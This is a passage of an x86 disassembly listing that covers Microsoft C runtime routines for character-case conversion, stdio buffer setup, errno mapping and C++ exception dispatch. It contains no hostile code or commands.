CODE XREF: sub_421FA0:loc_422299j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4221F4: ; CODE XREF: sub_421FA0+243j cmp [ebp+var_51C], 100h jnb loc_42229E cmp [ebp+var_51C], 41h jb short loc_422248 cmp [ebp+var_51C], 5Ah ja short loc_422248 mov ecx, [ebp+var_51C] mov dl, byte_4DE541[ecx] or dl, 10h mov eax, [ebp+var_51C] mov byte_4DE541[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov byte_4DE440[edx], cl jmp short loc_422299 ; --------------------------------------------------------------------------- loc_422248: ; CODE XREF: sub_421FA0+26Bj ; sub_421FA0+274j cmp [ebp+var_51C], 61h jb short loc_42228C cmp [ebp+var_51C], 7Ah ja short loc_42228C mov eax, [ebp+var_51C] mov cl, byte_4DE541[eax] or cl, 20h mov edx, [ebp+var_51C] mov byte_4DE541[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov byte_4DE440[ecx], al jmp short loc_422299 ; --------------------------------------------------------------------------- loc_42228C: ; CODE XREF: sub_421FA0+2AFj ; sub_421FA0+2B8j mov edx, [ebp+var_51C] mov byte_4DE440[edx], 0 loc_422299: ; CODE XREF: sub_421FA0+2A6j ; sub_421FA0+2EAj jmp loc_4221E5 ; --------------------------------------------------------------------------- loc_42229E: ; CODE XREF: sub_421FA0:loc_4221D4j ; sub_421FA0+25Ej mov esp, ebp pop ebp retn sub_421FA0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4DE43C, 0 jz short loc_4222C3 mov eax, dword_4DE42C jmp short loc_4222C5 ; --------------------------------------------------------------------------- loc_4222C3: ; CODE XREF: .data:004222BAj xor eax, eax loc_4222C5: ; CODE XREF: .data:004222C1j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222D0 proc near ; CODE XREF: sub_427B20+Dp ; sub_427BE0+Fp ... push ebp mov ebp, esp cmp dword_4DF68C, 0 jnz short loc_4222F0 push 0FFFFFFFDh call sub_421AF0 add esp, 4 mov dword_4DF68C, 1 loc_4222F0: ; CODE XREF: sub_4222D0+Aj pop ebp retn sub_4222D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422300 proc near ; CODE XREF: sub_417F80+41p ; sub_417F80+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp dword_4DE43C, 0 jnz short loc_42232C mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_417760 add esp, 0Ch jmp loc_422421 ; --------------------------------------------------------------------------- loc_42232C: ; CODE XREF: sub_422300+11j push 19h call sub_41BC80 add esp, 4 loc_422336: ; CODE XREF: sub_422300:loc_4223EEj cmp [ebp+arg_8], 0 jz loc_4223F3 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4DE541[eax] and ecx, 4 test ecx, ecx jz short loc_4223C5 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_42238A mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_4223F3 ; --------------------------------------------------------------------------- loc_42238A: ; CODE XREF: sub_422300+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_4223C3 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_4223F3 ; --------------------------------------------------------------------------- loc_4223C3: ; CODE XREF: sub_422300+B8j jmp short loc_4223EE ; --------------------------------------------------------------------------- loc_4223C5: ; CODE XREF: sub_422300+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_4223EE jmp short loc_4223F3 ; --------------------------------------------------------------------------- loc_4223EE: ; CODE XREF: sub_422300:loc_4223C3j ; sub_422300+EAj jmp loc_422336 ; --------------------------------------------------------------------------- loc_4223F3: ; CODE XREF: sub_422300+3Aj ; sub_422300+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_422414 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4223F3 ; --------------------------------------------------------------------------- loc_422414: ; CODE XREF: sub_422300+101j push 19h call sub_41BD20 add esp, 4 mov eax, [ebp+var_4] loc_422421: ; CODE XREF: sub_422300+27j mov esp, ebp pop ebp retn sub_422300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422430 proc near ; CODE XREF: sub_418580+2Ep ; sub_41A3D0+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4224E0 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_422450 ; --------------------------------------------------------------------------- loc_422447: ; CODE XREF: sub_422430:loc_422478j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_422450: ; CODE XREF: sub_422430+15j cmp [ebp+var_4], 2Dh jnb short loc_42247A mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, dword_447598[eax*8] jnz short loc_422478 call sub_4224D0 mov edx, [ebp+var_4] mov ecx, dword_44759C[edx*8] mov [eax], ecx jmp short loc_4224BD ; --------------------------------------------------------------------------- loc_422478: ; CODE XREF: sub_422430+33j jmp short loc_422447 ; --------------------------------------------------------------------------- loc_42247A: ; CODE XREF: sub_422430+24j cmp [ebp+arg_0], 13h jb short loc_422493 cmp [ebp+arg_0], 24h ja short loc_422493 call sub_4224D0 mov dword ptr [eax], 0Dh jmp short loc_4224BD ; --------------------------------------------------------------------------- loc_422493: ; CODE XREF: sub_422430+4Ej ; sub_422430+54j cmp [ebp+arg_0], 0BCh jb short loc_4224B2 cmp [ebp+arg_0], 0CAh ja short loc_4224B2 call sub_4224D0 mov dword ptr [eax], 8 jmp short loc_4224BD ; --------------------------------------------------------------------------- loc_4224B2: ; CODE XREF: sub_422430+6Aj ; sub_422430+73j call sub_4224D0 mov dword ptr [eax], 16h loc_4224BD: ; CODE XREF: sub_422430+46j ; sub_422430+61j ... mov esp, ebp pop ebp retn sub_422430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224D0 proc near ; CODE XREF: sub_418220:loc_4184F2p ; sub_41A040:loc_41A09Bp ... push ebp mov ebp, esp call sub_421920 add eax, 8 pop ebp retn sub_4224D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224E0 proc near ; CODE XREF: sub_41A3D0+4Ap ; sub_41B6B0+3Cp ... push ebp mov ebp, esp call sub_421920 add eax, 0Ch pop ebp retn sub_4224E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422500 proc near ; CODE XREF: sub_418220+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DE074, 0 jnz short loc_422527 cmp [ebp+arg_0], 61h jl short loc_422522 cmp [ebp+arg_0], 7Ah jg short loc_422522 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_422522: ; CODE XREF: sub_422500+11j ; sub_422500+17j mov eax, [ebp+arg_0] jmp short loc_42258F ; --------------------------------------------------------------------------- loc_422527: ; CODE XREF: sub_422500+Bj push offset dword_4DE428 call dword_4E0454 ; InterlockedIncrement cmp dword_4DE424, 0 jz short loc_422559 push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement push 13h call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_422560 ; --------------------------------------------------------------------------- loc_422559: ; CODE XREF: sub_422500+39j mov [ebp+var_4], 0 loc_422560: ; CODE XREF: sub_422500+57j mov ecx, [ebp+arg_0] push ecx call sub_4225A0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_422581 push 13h call sub_41BD20 add esp, 4 jmp short loc_42258C ; --------------------------------------------------------------------------- loc_422581: ; CODE XREF: sub_422500+73j push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement loc_42258C: ; CODE XREF: sub_422500+7Fj mov eax, [ebp+arg_0] loc_42258F: ; CODE XREF: sub_422500+25j mov esp, ebp pop ebp retn sub_422500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225A0 proc near ; CODE XREF: sub_422500+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4DE074, 0 jnz short loc_4225CC cmp [ebp+arg_0], 61h jl short loc_4225C4 cmp [ebp+arg_0], 7Ah jg short loc_4225C4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_4225C4: ; CODE XREF: sub_4225A0+13j ; sub_4225A0+19j mov eax, [ebp+arg_0] jmp loc_4226C7 ; --------------------------------------------------------------------------- loc_4225CC: ; CODE XREF: sub_4225A0+Dj cmp [ebp+arg_0], 100h jge short loc_422613 cmp dword_447480, 1 jle short loc_4225F1 push 2 mov ecx, [ebp+arg_0] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_10], eax jmp short loc_422605 ; --------------------------------------------------------------------------- loc_4225F1: ; CODE XREF: sub_4225A0+3Cj mov edx, [ebp+arg_0] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_422605: ; CODE XREF: sub_4225A0+4Fj cmp [ebp+var_10], 0 jnz short loc_422613 mov eax, [ebp+arg_0] jmp loc_4226C7 ; --------------------------------------------------------------------------- loc_422613: ; CODE XREF: sub_4225A0+33j ; sub_4225A0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42265C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_42266D ; --------------------------------------------------------------------------- loc_42265C: ; CODE XREF: sub_4225A0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_42266D: ; CODE XREF: sub_4225A0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, dword_4DE074 push edx call sub_4275A0 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4226A1 mov eax, [ebp+arg_0] jmp short loc_4226C7 ; --------------------------------------------------------------------------- loc_4226A1: ; CODE XREF: sub_4225A0+FAj cmp [ebp+var_4], 1 jnz short loc_4226B1 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_4226C7 ; --------------------------------------------------------------------------- loc_4226B1: ; CODE XREF: sub_4225A0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_4226C7: ; CODE XREF: sub_4225A0+27j ; sub_4225A0+6Ej ... mov esp, ebp pop ebp retn sub_4225A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D0 proc near ; CODE XREF: sub_4185F0+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_4226D9: ; CODE XREF: sub_4226D0+31j cmp [ebp+arg_0], 0 jnz short loc_4226FD push offset dword_4344AC push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4226FD int 3 ; Trap to Debugger loc_4226FD: ; CODE XREF: sub_4226D0+Dj ; sub_4226D0+2Aj xor eax, eax test eax, eax jnz short loc_4226D9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_42A390 add esp, 4 test eax, eax jnz short loc_422723 xor eax, eax jmp loc_422820 ; --------------------------------------------------------------------------- loc_422723: ; CODE XREF: sub_4226D0+4Aj cmp [ebp+var_4], offset dword_444EF8 jnz short loc_422735 mov [ebp+var_8], 0 jmp short loc_42274E ; --------------------------------------------------------------------------- loc_422735: ; CODE XREF: sub_4226D0+5Aj cmp [ebp+var_4], offset dword_444F18 jnz short loc_422747 mov [ebp+var_8], 1 jmp short loc_42274E ; --------------------------------------------------------------------------- loc_422747: ; CODE XREF: sub_4226D0+6Cj xor eax, eax jmp loc_422820 ; --------------------------------------------------------------------------- loc_42274E: ; CODE XREF: sub_4226D0+63j ; sub_4226D0+75j mov ecx, dword_4DDFDC add ecx, 1 mov dword_4DDFDC, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_422773 xor eax, eax jmp loc_422820 ; --------------------------------------------------------------------------- loc_422773: ; CODE XREF: sub_4226D0+9Aj mov ecx, [ebp+var_8] cmp dword_4DE058[ecx*4], 0 jnz short loc_4227DA push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_4150C0 add esp, 10h mov edx, [ebp+var_8] mov dword_4DE058[edx*4], eax mov eax, [ebp+var_8] cmp dword_4DE058[eax*4], 0 jnz short loc_4227DA mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_422809 ; --------------------------------------------------------------------------- loc_4227DA: ; CODE XREF: sub_4226D0+AEj ; sub_4226D0+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, dword_4DE058[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_422809: ; CODE XREF: sub_4226D0+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_422820: ; CODE XREF: sub_4226D0+4Ej ; sub_4226D0+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4226D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422830 proc near ; CODE XREF: sub_4185F0+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_422837: ; CODE XREF: sub_422830+38j cmp [ebp+arg_0], 0 jz short loc_422864 cmp [ebp+arg_0], 1 jz short loc_422864 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_422864 int 3 ; Trap to Debugger loc_422864: ; CODE XREF: sub_422830+Bj ; sub_422830+11j ... xor eax, eax test eax, eax jnz short loc_422837 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_4228BD mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_4228BD mov ecx, [ebp+var_4] push ecx call sub_41B920 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_4228BD: ; CODE XREF: sub_422830+44j ; sub_422830+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228D0 proc near ; CODE XREF: sub_418DE0+27p ; sub_418EC0+2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_10] cmp dword ptr [eax], 19930520h jnz short loc_4228EA mov [ebp+var_8], 0 jmp short loc_4228F2 ; --------------------------------------------------------------------------- loc_4228EA: ; CODE XREF: sub_4228D0+Fj call sub_423630 mov [ebp+var_8], eax loc_4228F2: ; CODE XREF: sub_4228D0+18j mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, 66h test edx, edx jz short loc_42292E mov eax, [ebp+arg_10] cmp dword ptr [eax+4], 0 jz short loc_422924 cmp [ebp+arg_14], 0 jnz short loc_422924 push 0FFFFFFFFh mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_422E40 add esp, 10h loc_422924: ; CODE XREF: sub_4228D0+36j ; sub_4228D0+3Cj mov eax, 1 jmp loc_4229BB ; --------------------------------------------------------------------------- loc_42292E: ; CODE XREF: sub_4228D0+2Dj mov ecx, [ebp+arg_10] cmp dword ptr [ecx+0Ch], 0 jz short loc_4229B6 mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_42298E mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jbe short loc_42298E mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+8] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42298E mov ecx, [ebp+arg_1C] and ecx, 0FFh push ecx mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call [ebp+var_4] add esp, 20h jmp short loc_4229BB ; --------------------------------------------------------------------------- loc_42298E: ; CODE XREF: sub_4228D0+70j ; sub_4228D0+7Cj ... mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_14] push ecx mov dl, byte ptr [ebp+arg_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4229C0 add esp, 20h loc_4229B6: ; CODE XREF: sub_4228D0+65j mov eax, 1 loc_4229BB: ; CODE XREF: sub_4228D0+59j ; sub_4228D0+BCj mov esp, ebp pop ebp retn sub_4228D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229C0 proc near ; CODE XREF: sub_4228D0+DEp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [eax+8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0FFFFFFFFh jl short loc_4229ED mov edx, [ebp+arg_10] mov eax, [ebp+var_4] cmp eax, [edx+4] jge short loc_4229ED mov [ebp+var_28], 0 jmp short loc_4229F5 ; --------------------------------------------------------------------------- loc_4229ED: ; CODE XREF: sub_4229C0+17j ; sub_4229C0+22j call sub_423630 mov [ebp+var_28], eax loc_4229F5: ; CODE XREF: sub_4229C0+2Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz loc_422AB5 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 3 jnz loc_422AB5 mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jnz loc_422AB5 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+1Ch], 0 jnz loc_422AB5 call sub_421920 cmp dword ptr [eax+6Ch], 0 jnz short loc_422A3E jmp loc_422C5C ; --------------------------------------------------------------------------- loc_422A3E: ; CODE XREF: sub_4229C0+77j call sub_421920 mov edx, [eax+6Ch] mov [ebp+arg_0], edx call sub_421920 mov eax, [eax+70h] mov [ebp+arg_8], eax mov [ebp+var_8], 1 push 1 mov ecx, [ebp+arg_0] push ecx call sub_42A590 add esp, 8 test eax, eax jz short loc_422A73 mov [ebp+var_2C], 0 jmp short loc_422A7B ; --------------------------------------------------------------------------- loc_422A73: ; CODE XREF: sub_4229C0+A8j call sub_423630 mov [ebp+var_2C], eax loc_422A7B: ; CODE XREF: sub_4229C0+B1j mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_422AAE mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_422AAE mov ecx, [ebp+arg_0] cmp dword ptr [ecx+14h], 19930520h jnz short loc_422AAE mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_422AAE call sub_423630 mov [ebp+var_30], eax jmp short loc_422AB5 ; --------------------------------------------------------------------------- loc_422AAE: ; CODE XREF: sub_4229C0+C4j ; sub_4229C0+CDj ... mov [ebp+var_30], 0 loc_422AB5: ; CODE XREF: sub_4229C0+3Ej ; sub_4229C0+4Bj ... mov eax, [ebp+arg_0] cmp dword ptr [eax], 0E06D7363h jnz loc_422C1C mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 3 jnz loc_422C1C mov edx, [ebp+arg_0] cmp dword ptr [edx+14h], 19930520h jnz loc_422C1C lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_14] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_10] push ecx call sub_419060 add esp, 14h mov [ebp+var_10], eax jmp short loc_422B14 ; --------------------------------------------------------------------------- loc_422B02: ; CODE XREF: sub_4229C0:loc_422B35j ; sub_4229C0:loc_422BFAj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 14h mov [ebp+var_10], eax loc_422B14: ; CODE XREF: sub_4229C0+140j mov ecx, [ebp+var_14] cmp ecx, [ebp+var_C] jnb loc_422BFF mov edx, [ebp+var_10] mov eax, [edx] cmp eax, [ebp+var_4] jg short loc_422B35 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] cmp edx, [ecx+4] jle short loc_422B37 loc_422B35: ; CODE XREF: sub_4229C0+168j jmp short loc_422B02 ; --------------------------------------------------------------------------- loc_422B37: ; CODE XREF: sub_4229C0+173j mov eax, [ebp+var_10] mov ecx, [eax+10h] mov [ebp+var_1C], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_24], eax jmp short loc_422B5D ; --------------------------------------------------------------------------- loc_422B4B: ; CODE XREF: sub_4229C0:loc_422BF5j mov ecx, [ebp+var_24] sub ecx, 1 mov [ebp+var_24], ecx mov edx, [ebp+var_1C] add edx, 10h mov [ebp+var_1C], edx loc_422B5D: ; CODE XREF: sub_4229C0+189j cmp [ebp+var_24], 0 jle loc_422BFA mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] add edx, 4 mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] mov eax, [edx] mov [ebp+var_20], eax jmp short loc_422B98 ; --------------------------------------------------------------------------- loc_422B86: ; CODE XREF: sub_4229C0+1FBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_18] add edx, 4 mov [ebp+var_18], edx loc_422B98: ; CODE XREF: sub_4229C0+1C4j cmp [ebp+var_20], 0 jle short loc_422BF5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+var_18] mov eax, [edx] push eax mov ecx, [ebp+var_1C] push ecx call sub_422D80 add esp, 0Ch test eax, eax jnz short loc_422BBD jmp short loc_422B86 ; --------------------------------------------------------------------------- loc_422BBD: ; CODE XREF: sub_4229C0+1F9j mov dl, [ebp+var_8] push edx mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_18] mov ecx, [eax] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_422F70 add esp, 2Ch jmp short loc_422C5A ; --------------------------------------------------------------------------- loc_422BF5: ; CODE XREF: sub_4229C0+1DCj jmp loc_422B4B ; --------------------------------------------------------------------------- loc_422BFA: ; CODE XREF: sub_4229C0+1A1j ; sub_4229C0:loc_422C5Aj jmp loc_422B02 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_4229C0+15Aj mov edx, [ebp+arg_14] and edx, 0FFh test edx, edx jz short loc_422C1A push 1 mov eax, [ebp+arg_0] push eax call sub_423450 add esp, 8 loc_422C1A: ; CODE XREF: sub_4229C0+24Aj jmp short loc_422C58 ; --------------------------------------------------------------------------- loc_422C1C: ; CODE XREF: sub_4229C0+FEj ; sub_4229C0+10Bj ... mov ecx, [ebp+arg_14] and ecx, 0FFh test ecx, ecx jnz short loc_422C53 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_422C60 add esp, 20h jmp short loc_422C58 ; --------------------------------------------------------------------------- loc_422C53: ; CODE XREF: sub_4229C0+267j call sub_423580 loc_422C58: ; CODE XREF: sub_4229C0:loc_422C1Aj ; sub_4229C0+291j jmp short loc_422C5C ; --------------------------------------------------------------------------- loc_422C5A: ; CODE XREF: sub_4229C0+233j jmp short loc_422BFA ; --------------------------------------------------------------------------- loc_422C5C: ; CODE XREF: sub_4229C0+79j ; sub_4229C0:loc_422C58j mov esp, ebp pop ebp retn sub_4229C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C60 proc near ; CODE XREF: sub_4229C0+289p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch call sub_421920 cmp dword ptr [eax+68h], 0 jz short loc_422C9E mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_418F00 add esp, 1Ch test eax, eax jz short loc_422C9E jmp loc_422D71 ; --------------------------------------------------------------------------- loc_422C9E: ; CODE XREF: sub_422C60+Fj ; sub_422C60+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx call sub_419060 add esp, 14h mov [ebp+var_8], eax jmp short loc_422CD1 ; --------------------------------------------------------------------------- loc_422CBF: 